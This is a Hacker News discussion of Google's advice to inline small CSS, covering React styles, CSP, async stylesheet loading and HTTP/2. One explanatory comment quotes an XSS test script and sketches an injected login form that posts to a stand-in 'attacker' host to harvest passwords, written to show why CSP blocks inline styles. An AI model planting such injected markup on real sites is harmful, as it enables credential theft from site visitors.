
Google recommends inlining small CSS - jayfk
https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery
======
lewisl9029
This is probably not a very good general recommendation, but inline CSS
actually makes quite a bit of sense to me when using React/Redux.

Style is generally heavily interconnected with app state in modern web apps,
so why not take advantage of a sophisticated state management system like
Redux to declaratively manage your styles along with your state rather than
adding/removing class names at runtime imperatively? With React's
implementation of inline-styles, you can treat your styles as just another
piece of JS data in your state tree, and have the entire power of the JS
language at your fingertips to compose/extend/manage them, including powerful
functional transformations, a flexible and statically analyzable module
system, and prototypical inheritance, if you're into that kind of thing.

With this approach, you completely remove any need for preprocessors, get rid
of a whole class of CSS limitations like the lack of a proper module system,
and global scoping and the associated specificity issues, and your components
become truly self-contained by default.

That said, I don't have a lot of actual experience with this approach in
practice, so I definitely could be missing some nuances and practical
limitations. I'd love to hear some opinions/experiences regarding using inline
styles in React/Redux.

~~~
MatthewPhillips
I hear this all the time but it's hard to giving up the C in CSS, cascading.

With CSS you can define a style that applies to all buttons on the page. to
replicate this with inline styles you have to do

    
    
       var styles = require("./styles/global");
    
       // react stuff here
    
       var thisButton = Object.assign(styles.button, { custom: stuff })
    

And that's the absolute most simple case. Replicating even slightly more
complex CSS concepts like :nth-child or descendant selectors must result in a
lot of code.

~~~
ergothus
> I hear this all the time but it's hard to giving up the C in CSS, cascading.

Cascading in CSS is a bit of a love/hate relationship. Ultimately, it's like
subclassing - neat idea, and great when it works, but often you hate life when
a change at the top level cascades down and you didn't want it to.

At my previous workplace, we moved to be all about semantic markup, and our
CSS matched that. Class names were to be minimized, because the structure
should tell you what you need to know. (a few classes were required, but
usually just to identify different top level items). Cascading saw heavy use,
and it was generally cleaner than the specificity battles we had in legacy
code where semantics weren't used, but it required a lot of discipline.

At my current workplace we're using React and BEM for CSS. Thus we avoid
referencing element tags as much as possible and instead focus on very
specific class names. BEM is, as far as I can tell, a means to avoid cascading
as much as possible. Currently none of our CSS is inline. Not much discipline
is required, but we have very little reuse (Sass provides some capability for
reuse)

I tend to prefer my previous workplace's version, but the two are making very
different kinds of products with different needs (my former place is basically
building a CMS product and then marketing the output, whereas the current is a
few single page web apps).

So in some scenarios cascading is an evil to be avoided, and in others it is a
feature to exploit.

~~~
zaphar
The hard part of the cascading in CSS for a page is that it is global in
scope. In the current landscape of complex html/javascript applications this
global nature tends to snowball.

It's never safe to remove something so you have to fill your css with more and
more complex rules and !important's to override the rest of the CSS on the
page. At some point your CSS becomes impossible to manage and you are almost
forced to start over again from scratch. After a couple of these times you
start to curse the whole Global always on Cascading feature.

This is why ShadowDom and the WebComponents stuff is such a breath of fresh
air.

------
radarsat1
This is the part that surprised me,

> Further, inline CSS on HTML elements is blocked by default with Content
> Security Policy (CSP).

I'm probably not up to date on this stuff, since I am not a web dev, but does
this mean it's actually not _possible_ to use `style=""` in your HTML elements
any more? I thought it was not recommended, but more for organizational
reasons, not security reasons. What is the reason?

~~~
adevine
Only if you have specified Content-Security-Policy headers in your response,
without also specifying "unsafe-inline":
[http://www.html5rocks.com/en/tutorials/security/content-
secu...](http://www.html5rocks.com/en/tutorials/security/content-security-
policy/)

~~~
yoklov
What potential security vulnerability do inline styles have?

~~~
geofft
CSP is mainly a defense against arbitrary HTML getting injected into your
website via poor validation, buggy scripts, etc. It's not a replacement for
validation, but it's a failsafe when there's inevitably a bug. So the purpose
of CSP is to block regular XSS like <script>alert("XSS!");</script>, and
anything that works similarly. This isn't saying that inline script tags are a
security vulnerability per se, just that they're a tool an attacker can use.
CSP then also allows you to restrict <script src="..."> tags to trusted
origins.

The same argument applies for CSS. If an attacker manages to output arbitrary
HTML on your web page via some bug, they can add their own login form with
<div style="position: fixed; ..."><form
action="[https://attacker/">](https://attacker/">) and harvest passwords this
way. So CSP blocks that too. Again, this isn't because writing a form that way
is a security vulnerability, but because if you've opted into CSP, you're
stating that you're not writing forms this way so that you can enable these
XSS and clickjacking protections.

~~~
johnward
Would that block injection like Comcast does for bandwidth notifications?
[http://blog.ryankearney.com/2013/01/comcast-caught-
intercept...](http://blog.ryankearney.com/2013/01/comcast-caught-intercepting-
and-altering-your-web-traffic/)

~~~
geofft
No, because Comcast can just drop the CSP header from the HTTP stream (and you
can believe that whatever developer has been ordered by management to
implement this will quickly Google CSP, figure out that it's in their way, and
drop the header).

The solution for network-level tampering and end-to-end authenticity is HTTPS.
CSP just protects you against mistakes on the legitimate server.

------
yoz-y
I do not understand this particular example. They replace 4 lines of external
CSS + 1 line of loading by 1 line of internal CSS + 2 lines of tags + 11 lines
of JavaScript which then asynchronously loads 3 lines of CSS.

So we went from a blocking call and 5 lines of code to 17 lines and an async
call. How is this in any way better than simply cramming the 4 lines of CSS
internally? Maintenance will not be simpler because you will still probably
have several rules to maintain over several files (and the inlining can be
automated).

This seems like horrible over-engineered advice _especially_ for small CSS
files.

~~~
Klathmon
Because small doesn't mean 4 lines, they just used 4 lines for the example.

Think of this like a "Hello World" for inlining CSS.

~~~
yoz-y
In that case (as others have stated) they should really precise what do they
mean by small. I am convinced that a single network call (preceded by
JavaScript overhead) dwarfs any reasonable amount of CSS code you could put in
a single HTML file.

~~~
vec
It will, but it's still a net win because Google's not actually optimizing for
time to load. They're optimizing for time to usability. Moving all of the non-
essential CSS out of the head and into a post-load request increases the total
request time but decreases the time until the user can begin interacting with
the page.

It's still drastic overkill for almost everyone except Google, but it does
make sense for their use case.

------
losvedir
Interesting. The sample code includes this bit:

    
    
          var raf = requestAnimationFrame || mozRequestAnimationFrame ||
              webkitRequestAnimationFrame || msRequestAnimationFrame;
          if (raf) raf(cb);
          else window.addEventListener('load', cb);
    

I've never thought to use requestAnimationFrame like that. When exactly does
it fire? Is that the preferred callback these days for loading code after the
page is "done" in some fashion? I've gotten used to using jQuery's
`$(document).ready(..)` which as far as I know uses DOMContentLoaded or
window.onload behind the scenes. When does the first animation frame happen in
relation to those callbacks?

~~~
chriswarbo
> I've gotten used to using jQuery's `$(document).ready(..)`

FYI `$(document).ready(foo)` is the same as `$(foo)`

[https://api.jquery.com/jQuery/#jQuery3](https://api.jquery.com/jQuery/#jQuery3)

~~~
FroshKiller
In my experience--not that I'm a prolific JavaScript developer or anything--
people tend to write out $(document).ready anyway because it makes their
intent clearer. Personally, I have to do a little mental work every time I
trip over the shortcut and prefer seeing $(document).ready.

~~~
mattmanser
Javascript is the wild west of styles, this isn't valid advice.

$(function() {}) is a well known shortcut for jQuery. You might as well argue
about whether or not to use the ternary operator or whether bootstrap's
javascript is good or bad.

It's just your opinion. In these days King Canute could have used javascript
styles instead of the sea.

~~~
talmand
One is just as valid as the other. You are mistaking your preference as a
standard.

------
andrewingram
The problem i've always had with this, and the "above the fold" rule as it
appears in the pagespeed insights tool, is the definition of "fold" varies
wildly.

So I see CSS optimisation as a multi-step process.

* Switch to a component-based rendering architecture (I favour React)

* Map CSS rules directly to components (I use CSS Modules)

* Have a JavaScript entry-point per route. The entry-point should only contain what's needed for that route, common bundles can be used too (I use webpack for this).

* Have equivalent CSS entry points per route (again, Webpack).

* On initial (ie server) render, render a style tag into the document that contains the content of the relevant entry CSS. By definition this is very close to being only the CSS required for that page (if your components have various different classes depending on config, there may be some bloat here, not sure if there's a workaround).

* On that same render, don't include an external reference to the actual stylesheets. (At this point we're mimicking Google's advice)

* On first client-side navigation (yeah, i'm assuming you're using client-side routing), load the required stylesheets for the destination URL, remove the style tag, then continue the navigation.

I'm actually excited, because in the React ecosystem, we're not too far
removed from this entire process being relatively trivial to implement. I'm
assuming other ecosystems are similar.

~~~
danjordan
Does this have any negative effects on browser caching?

~~~
andrewingram
The only part of the process that's a bit weird is loading style sheets
programmatically. But I think people normally do that by adding a link tag to
the DOM, so it should use browser caching as usual.

The other caveat is that the nature of generating common bundles automatically
means that what's in those bundles will vary whenever the code is changed.
This means that you'll lose the benefits of browser caching each time you
release. If you have dependencies that you can guarantee will be in the common
bundle (like it's safe to say React will always be in it, along with any other
architectural libraries), then you're better off externalising them to
somewhere that sticks around between releases (and therefore benefits more
from browser caching). This will also make your common bundles much smaller.

------
oliwarner
> If the external CSS resources are small

It's not a general rule, it's just suggesting that your 50 character block of
CSS (that might be dynamic or conditional) would be better off as part of the
main markup than a separate request and all the overhead associated with that.

If your static CSS exists in lots of small files, you would strongly benefit
from rolling them together.

Both these recommendations may change with new delivery models (ie HTTP2).

~~~
_alexander_
Interesting research about http2 -
[http://engineering.khanacademy.org/posts/js-packaging-
http2....](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)

~~~
mattmanser
Although they seem to be saying that something is wrong with google app engine
rather than http/2.

------
aexaey
Offered example is missing this in the "you can inline" snippet:

    
    
        <head>
          <noscript>
            <link rel="stylesheet" href="small.css">
          </noscript>
        </head>
    

..least whole point of this excercise is to make life a little bit more
miserable for those pesky users who dare to disable js.

~~~
ymse
FTA: _Note that the web platform will soon support loading stylesheets in a
non-render-blocking manner, without having to resort to using JavaScript,
using HTML Imports._

[https://w3c.github.io/webcomponents/spec/imports/#link-
type-...](https://w3c.github.io/webcomponents/spec/imports/#link-type-import)

All is not lost, it seems.

~~~
rudolf0
This is like 15 years overdue.

------
johnsbrayton
I agree that Google's recommendation here is a poor one in most cases.

It would be better to do the following:

1\. Have only one or two external CSS files per page.

2\. Serve CSS compressed when possible.

3\. Ensure that CSS does not require any server-side processing or
compression, that the server just spits out a .css or .css.gz file when the
CSS is requested.

4\. Ensure that the CSS files are relatively small.

5\. Serve the CSS files with a very long cache time and with a version/hash
string in the object name.

6\. If feasible, make CSS changes relatively relatively rare.

If you do all of these things, adding the style into the web page will clutter
your HTML and slow things down for frequent visitors. Yes, it might also
increase perceived performance for some users who have not visited the site
since the last change to the CSS.

~~~
acdha
The problem is basically telling whether your challenges are like Google's. An
external link requires a separate request, possibly even separate DNS lookups,
server connection, SSL negotiation, etc. and nothing will render until those
complete.

If you're Google with a strong culture of web performance and have generally
solved all the normal server issues with a globally-distributed network of
edge servers, a 24x7 team of very talented engineers continuously monitoring
and optimizing, etc. you might quite reasonably conclude that the biggest
remaining area to improve page performance is chipping away at the long tail
of users on high-latency connections, unreliable / flaky ISPs which might drop
or delay requests for your render-blocking resources, etc.

The trick is realizing that relatively few people work at Google and most
other places have not made the same investments to get to the point where this
kind of micro-optimization is a net win versus the maintenance costs. Most
sites tend to show easier problems - optimizing DNS, getting a CDN or using
one better, reducing total transfer size, etc. – which are going to impact the
user experience more than inlining some CSS.

This is particularly true as we rapidly head into an area where things like
HTTP/2 are changing most of our optimization weights – e.g. packing things
into CSS bundles is rapidly becoming an anti-pattern since it reduces the
period where a cached resource is still valid.

~~~
johnsbrayton
You're absolutely right.

The guidelines I outlined don't work well if retrieving the CSS requires a
subsequent DNS lookup. One could argue that serving CSS from the host that
serves the HTML is a good idea, but there are other tradeoffs involved.

~~~
acdha
Yeah, this is a really hard thing to get right in general guides or tutorials
since there are so many assumptions underlying the decisions and people might
end up reading one far enough in the future that thing have changed – we saw
that with connection limits and caching esoterics which became obsolete once
IE6 disappeared.

The main thing I'd like to see in guides like this would be some general
advice about how to measure this kind of thing (e.g. browser dev tools) and,
more importantly, how to avoid some of the common confounds like local caches
when measuring using a tool like WebPageTest.org.

------
cbr
You can automate this with the prioritize_critical_css filter in the PageSpeed
module:
[https://developers.google.com/speed/pagespeed/module/filter-...](https://developers.google.com/speed/pagespeed/module/filter-
prioritize-critical-css)

(Disclaimer: this is what I work on.)

------
DanielBMarkham
Over time I've developed some opinions not shared by most. I only use a
framework when under extreme duress. I use static pages wherever possible. I
measure payload size.

I'm also beginning to re-think CSS. I love CSS, but just like with OO, I'm
thinking it may tempt us to think of structural considerations when we may
just be wasting our time. I think the next app I write, I'm going to evolve my
CSS, starting with inline styling, moving out to an inline style node in HEAD,
then dynamically loading it from JS as in the Google example, and then finally
using a class/series of classes.

In much the same way, in FP you can just make it work, then generalize, then
group, then eventually create modules/classes full of generalized functions.
This way of thinking seems to result in far quicker execution and far less
complexity. Not sure if it translates to CSS, though. It'll be interesting to
try it out.

~~~
eric_bullington
> ...I'm going to evolve my CSS, starting with inline styling, moving out to
> an inline style node in HEAD, then dynamically loading it from JS as in the
> Google example, and then finally using a class/series of classes.

I'm sure it will load spectacularly fast, but that sounds like a maintenance
nightmare.

I spent a lot of effort on my "brochure" sites making sure that non-JS users
will have a good experience (that includes being able to navigate the site, a
privilege an increasingly large number of sites don't extend to non-JS
users)[1]. Loading even part of my CSS through JS would ruin that experience.

1\. I do make web _apps_ that require JS, but only for actual applications
that work in a similar manner to desktop apps, not for informational sites
like blogs.

~~~
jnmandal
Who are these non-JS users. Can you point to some statistics here? Using
developer time on it seems more wasteful than trying to support old versions
of IE.

~~~
kccqzy
See here for example: [https://gds.blog.gov.uk/2013/10/21/how-many-people-are-
missi...](https://gds.blog.gov.uk/2013/10/21/how-many-people-are-missing-out-
on-javascript-enhancement/)

~~~
noir_lord
Interesting but that was over 2 years ago and frankly even if it is still 1.1%
since I write web applications not sites I'm not devoting any time to
supporting people without JS.

Anything over 1% of the total dev time would be a poor RoI and frankly I'd
sooner spend that time making things more accessible to screen readers and
such (something that many web applications already do very poorly frankly).

------
blowski
This makes perfect sense for classes like
".article51_footer_wrapper_margin50", look up the rule, and sure enough it
looks like `.article51_footer_wrapper_margin50 { margin-bottom: 50px; }`

Seriously, just inline rules like that. If it is only applied in one specific
place across the entire site either because it cannot or does not need to be
made more general, then inlining it is easier to maintain and understand.

~~~
rimantas
Except that class does not make sense. What happens when design changes and
margin is now 40px?

~~~
blowski
Precisely. It doesn't need a class or external CSS rule - just a style
attribute (unless it's for a pseudo state, and then it has to be external, but
should use a better name).

~~~
airza
style attributes don't work with CSP though, which I imagine is important to
google

------
PavlovsCat
Are there any findings about whether such godawful class names affect
rendering performance? I mean just matching strings such as this one:

com-google-api-explorer-client-history-
EmbeddedHistoryItemView_HistoryItemUiBinderImpl_GenCss_style-showHideHeaders

It's generally really hard for me to take HTML advice from google seriously,
their page sources at best look mediocre, and at worst they make my eyes
bleed. How can code so complicated lead to such bland looking pages? I know
I'm kind of being snarky, but I can't help it. Just look at the source of that
page and the linked stylesheets, look at google.com, heck, if you can find me
just one elegant page I'll be grateful, because to this day I haven't seen a
single one.

~~~
laurent123456
Also, since they are talking about optimization, I wonder why they make
embedded fonts a requirement to view their plain-text page. I disable loading
of fonts because it's useless and often slows everything down, and this is how
their page look without these fonts:
[http://i.imgur.com/oDO8gRt.png](http://i.imgur.com/oDO8gRt.png)

~~~
seanwilson
I imagine the vast majority of web users have font loading enabled so they
optimised and tested for that.

~~~
oneeyedpigeon
So, ... screw the minority? Seriously, one of the benefits of the web stack is
that it makes it very easy to cater for a wide variety of capabilities, rather
than resorting to "Best viewed with Internet Explorer 5"-type behaviour.

~~~
seanwilson
What browser doesn't support fonts?

If web developers had to support every permutation of turning off cookies,
fonts, images, JavaScript, stylesheets etc. you'd never get anything done.

~~~
oneeyedpigeon
laurent123456's doesn't. And I wouldn't be surprised if there weren't
countless mobile phones, console browsers, etc. that didn't.

You don't need to support every permutation of each technology; provide base
functionality, and enhance it using each, if it's available.

------
fkooman
I love how they, in that example, use JS to load the rest of the CSS.
Seriously?

~~~
bigethan
Seriously.

CSS loading/parsing is render blocking. By loading CSS that isn't needed
immediately asynchronously in a way that will use the browser cache if it's
available, it makes the page visible much faster. It feels like overkill in
the simple example, but it's a tried and true method. (
[https://github.com/filamentgroup/loadCSS](https://github.com/filamentgroup/loadCSS)
has > 2k stars if that kinda thing means anything)

From my experience on a large website (m.trulia.com), On a 3G connection with
an 'average' (nexus 5) phone, this technique made almost a 2 second difference
in perceived load time.

~~~
freshyill
In a few hours, I'm launching a very large website that relies heavily on
LoadCSS(). Page load times have been excellent in the pre-public phase, even
though our critical styles contain a mountain of Autoprefixer-generated
flexbox prefixes.

My understanding is that all of this will become an antipattern once we can
support http/2\. For today, however, it provides a very real performance
boost.

~~~
Flimm
My understanding is that concatenation will be become an anti-pattern with
http/2, but not `<script async..>`, `<script defer..>`, or loadCSS.

------
pkorzeniewski
I remember a CSS class in some enterprise software I was working on several
years ago:

    
    
      /* bold */
      .bold {
        font-weight: bold !important;
      }
    

It has became my favourite real-world example of CSS misusage :)

~~~
thirdsun
I agree with jdudek here. While I'd never use important, I usually have a lot
of small utility classes like bold, italics, uppercase, truncated etc.

I don't see what's wrong here - they come in handy when you need a one-time
style alteration.

~~~
robmcm
The intentions are baked into your class name, if you were to change the style
later and favor underlining rather than bold text, it would require a change
to the HTML (or some rather misleading code).

The same could be said for a mobile device, where italic could be hard to
read, so, say a different font is used. Again this would require changes to
the HTML and breaks the separation of style from markup.

It doesn't particularly offend me, but I though it would be worth pointing out
why some people disagree with this style of class naming.

~~~
talmand
There's nothing fundamentally wrong with having such utility classes. It could
have a distinct use, especially for Javascript. It's just you shouldn't use
such a class solely for design purposes, for the reasons you point out.

~~~
robmcm
Yes using something like "strong" rather than "bold" as they did in the HTML
spec.

For custom sections where you want to add styles you should consider what you
are styling such as an "event", "highlight", "keyword", "first", "last" etc.
Although the HTML5 tags are a lot more descriptive, numerous and extensible
now, so css classes may not be the only option to add style descriptors to
your content.

------
ars
Note they mean inlining the css rules in a <style> block.

Not inlining the css as the style attribute of a tag.

The goal is not to have to fetch a second css page.

~~~
jholman
That is not the goal. Read TFA; their example specifically still loads
small.css by dynamically creating a <link> element after pageload (in a
RequestAnimationFrame or onLoad).

The goal is to have the CSS already present when the "above-the-fold" content
renders, so that it's that much faster to render correctly, improving user
experience.

------
mozumder
If you have single-page web apps, you might as well inline your entire site's
CSS, since it's never going to look for the CSS again.

~~~
majewsky
Not necessarily. If the app changes seldomly, you could reuse a CSS file
across multiple sessions, whereas the HTML (i.e. "GET /") is probably always
served up fresh.

That does not apply, of course, if your initial HTML page is a static asset,
too.

------
eCa

        <script>
          var cb = function() {
            var l = document.createElement('link'); l.rel = 'stylesheet';
            l.href = 'small.css';
            var h = document.getElementsByTagName('head')[0]; h.parentNode.insertBefore(l, h);
          };
          var raf = requestAnimationFrame || mozRequestAnimationFrame ||
              webkitRequestAnimationFrame || msRequestAnimationFrame;
          if (raf) raf(cb);
          else window.addEventListener('load', cb);
        </script>
    

Seems like it's time for a _defer_ attribute on <link>.

~~~
sametmax
Or, you know, put it at the bottom of the HTML since it will take 5ms between
the moment where the browser receive <html> and </htm>

~~~
acjohnson55
It may take a lot longer than that, since the browser is parsing as it goes. A
SCRIPT tag in the HEAD will run synchronously, blocking parsing of the page
and delaying initial render. For a tiny script that defers work, this is not a
problem. But you want to schedule the stylesheet to load ASAP, in case it is
cached, so it's actually potentially a human-noticeable difference to get that
function on the queue before the BODY begins parsing.

~~~
bzbarsky
A <script> tag will block DOM tree construction and rendering in browsers but
will not block scanning ahead for things to load (and at least in Firefox
won't even block tokenization of the HTML). So if you have a <link
rel="stylesheet"> at the end of <body> it will likely start loading even
before the scripts before it have had a chance to load and run.

A bigger problem is that in some browsers (not Firefox, but iirc yes Chrome)
that stylesheet load will then itself block rendering.

------
jsvaughan
if you use the google pagespeed apache/nginx module it has an inline_css
filter which does this for you, no need to cause yourself a maintenance
problem.

------
Nutmog
Whatever happened to the programming rule of don't micro-optimize until you've
measured the performance? There seems to be a lot of recommendations to do
ugly things to websites in the name of optimization, but they still add
complications that are hard to understand. Pictures used to by supposed to be
optimized by pre-scaling them to the size they'd be displayed at. Now we have
retina displays and that doesn't work anymore. You have to do more complicated
things instead. HTML and co has become very low level-like and almost complex
enough that perhaps humans shouldn't be doing it. It reminds me of the days of
assembly language and all the ugly little tricks to squeeze out more clock
cycles that are now handled by compilers.

~~~
nostrademons
Most of these recommendations _are_ based on measurements. I recall a coworker
doing several experiments on Google Search about inlining CSS vs. making a
separate request, and the break-even point was surprisingly high (~10K or so
of CSS).

Publishing recommendations like this is a recognition that many small
companies don't have the resources that Google does to rigorously experiment
with different approaches and collect data.

That said, if you _do_ have the resources, you should always measure &
experiment with your own situation. Many of these recommendations go away with
HTTP2, for example, and it's likely that the guidelines won't be updated until
long after HTTP2 is widely adopted.

------
3princip
Which mandates 'unsafe-inline' if you're using a content security policy
(CSP).

>Banning inline script is the biggest security win CSP provides, and banning
inline style likewise hardens your application.[1]

So which is it? Should we be moving away from inline scripts and CSS, and
tightening it up with CSP, or is performance/fewer requests more desirable?
Also, with HTTP2, the performance issue seems moot.

[1][http://www.html5rocks.com/en/tutorials/security/content-
secu...](http://www.html5rocks.com/en/tutorials/security/content-security-
policy/)

------
JoeSloth
I'd also like to throw this into the conversation:

Inline styles also prevent the user from overriding styles with a custom style
sheet (think color blind people). This isn't necessarily against ADA/508
compliance, but it should be taken into consideration.

~~~
gotchange
Important flagged CSS declarations trump those inline style ones anytime of
the day. Also, limiting the options available to your end users without solid
and good reasons is not a sound strategy as it may prove inconvenient for them
and endanger the product's image.

------
theandrewbailey
I think that this is the wrong way for most websites to do CSS, as it
contradicts both minimization+concatenation and HTTP2 best practices. If you
have just one CSS file that's heavily cached and 100 KB (because you base64ed
your webfonts to reduce request count), you should be fine.

Just last night, I tested trying to separate out my fonts from my CSS. Google
Pagespeed Insights still threw a fit over no async CSS, even though the CSS
was 5 KB. FFS, Goog! I decided against that madness.

------
coverband
OK, so this part is new to me:

 _Don 't inline CSS attributes_

 _Inlining CSS attributes on HTML elements (e.g., <p style=...>) should be
avoided where possible, as this often leads to unnecessary code duplication.
Further, inline CSS on HTML elements is blocked by default with Content
Security Policy (CSP)._

How effective is this, really? If I can inline a CSS class, then I can inject
any style on any HTML element even if I can't inline an attribute. Am I
missing something here?

~~~
lutusp
Their point seems to be that inlining a class name means the class will only
be defined once, but the case of an inlined style means the style information
must be duplicated for each appearance. The style approach hits all the bad
buttons -- the load is larger and slower, and its execution is slowed compared
to a single class definition that's referred to multiple times.

Also, in the case of a defined class, you only need to change the class
definition to change all the instances, rather than chasing down each explicit
style instance.

The reasoning is only valid if the defined style is used more than once. If
the style is unique, the argument doesn't hold up.

------
drinchev
I think this Google rule is too specific and in the same time too general for
being alive.

The whole idea :

> Inline small CSS.

is too specific. I think when you work on a huge web-application you don't
want to create such a bloat in your _layouts_ and personally I don't think
that this approach scales. On the other hand if you go with a simple web page,
like a landing page with a couple of elements ... go for it.

> If the external CSS resources are small

What is "too small" anyway ? ( too general )

------
NetStrikeForce
(Disclaimer: I'm not a coder, so I easily get overwhelmed by what others might
see as very simple)

It may be better for delivery, but the second example is unreadable compared
to the clean one. I can see why it's much better to add 15KB to your HTML file
than having to request those 15KB from a separate file (one or two full round-
trips of added latency :)).

~~~
bleachedsleet
While you're correct in observing that the first example is shorter and
potentially easier to read at a glance, there is a method to the madness in
the second. They inlined the CSS needed for content above the fold which
speeds up load times theoretically. They then use JS to load the rest of the
CSS later on so they can control exactly when the stylesheet is loaded...just
linking like one would normally do would negate the perceived benefit. The end
result should be comparable overall load times but the end user should
perceive a slight decrease since important information is styled immediately.
So yeah, the second is a little more confusing and in this case is drastic
overkill, but their point still stands.

------
bl4ckdu5t
I think this has been for a long time now and I expect to see everyone speak
about how this is a bad recommendation. If the above-the-fold content can
extracted with a gulp/grunt plugin and injected it gets even better. These are
extreme measures needed for performance profits and anyone can choose to take
them or simply ignore

------
jakobegger
Sometimes I wonder, if you can make the content above the fold load instantly,
why can't you do that for the whole page?

~~~
andrewguenther
Depends how big the page is ;)

------
Lanari
Google's point here is to load a header really fast, the user will get this
feeling that some progress happened, JavaScript will load the rest of the CSS
after, while the rest of the page is getting loaded/rendered...

Still, I won't use their method.

------
frabcus
We inline the front page CSS on
[https://pdftables.com/](https://pdftables.com/), both for user experience and
for SEO reasons.

The Node module UnCSS
([https://github.com/giakki/uncss](https://github.com/giakki/uncss)) is
working reliably for us, using PhantomJS to automatically extract the CSS
rules we need for our front page.

The full CSS rules are then loaded at the end of the page - just in case UnCSS
missed a browser specific or Javascript triggered rule, and to get the files
into the cache.

------
jlebrech
is there a tool that'll find all the style attributes and compile those into a
css file?

------
VOYD
#AlphaBetFail - teach people how to do it correctly, teach them not to hack
stupid ass inline CSS styles from 1996.

------
LoSboccacc
that suggestion has been around for a while

~~~
pauly
yeah this is not new was a recommendation from
[https://developers.google.com/speed/pagespeed/insights/](https://developers.google.com/speed/pagespeed/insights/)
which I thought was now depracated, so must have been around for a while. I
think it's a recommendation of
[http://yellowlab.tools/](http://yellowlab.tools/) too which is great.

~~~
jdmarantz
PageSpeed Insights (the analysis tool) is not deprecated. The optimization
modules, mod_pagespeed and ngx_pagespeed, are also not deprecated.

What's deprecated is the hosted version of the optimization modules: PageSpeed
Service:
[https://developers.google.com/speed/pagespeed/service/Deprec...](https://developers.google.com/speed/pagespeed/service/Deprecation?hl=en)

------
noumandeaf
the makes perfect same talk does need the is search hacker very like power you
help me please

i am nouman deaf

